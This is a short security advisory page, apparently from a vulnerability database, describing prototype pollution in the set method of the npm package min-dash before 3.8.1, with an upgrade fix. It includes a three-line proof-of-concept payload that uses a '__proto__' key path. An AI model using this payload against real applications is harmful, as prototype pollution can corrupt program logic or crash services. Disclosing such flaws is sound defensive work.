min-dash@3.7.0 vulnerabilities

Minimum utility toolbelt

Direct Vulnerabilities

Known vulnerabilities in the min-dash package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
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Prototype Pollution

min-dash is a Minimal utility tool belt to be used with bpmn.io related libraries.

Affected versions of this package are vulnerable to Prototype Pollution via the set method due to missing enforcement of key types.

PoC:

let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);

How to fix Prototype Pollution?

Upgrade min-dash to version 3.8.1 or higher.

<3.8.1